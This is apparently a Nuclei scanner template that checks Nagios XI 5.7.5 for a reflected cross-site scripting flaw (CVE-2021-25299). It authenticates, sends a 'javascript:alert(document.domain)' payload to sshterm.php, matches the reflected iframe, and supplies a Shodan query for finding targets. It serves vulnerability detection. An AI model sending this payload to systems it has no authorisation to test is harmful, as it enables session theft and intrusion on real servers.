id: CVE-2021-25299 info: name: Nagios XI 5.7.5 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Nagios XI version xi-5.7.5 is affected by cross-site scripting (XSS). The vulnerability exists in the file /usr/local/nagiosxi/html/admin/sshterm.php due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal his/her session cookies or it can be chained with the previous bugs to get one-click remote command execution (RCE) on the Nagios XI server. reference: - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299 - https://nvd.nist.gov/vuln/detail/CVE-2021-25299 - http://nagios.com - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25299 cwe-id: CWE-79 metadata: shodan-query: title:"Nagios XI" verified: "true" tags: cve,cve2021,nagios,nagiosxi,xss,authenticated requests: - raw: - | GET /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} - | POST /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton= - | GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - "contains(all_headers_3, 'text/html')" - "status_code_3 == 200" - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")' condition: and extractors: - type: regex name: nsp part: body group: 1 regex: - 'name="nsp" value="(.*)">' internal: true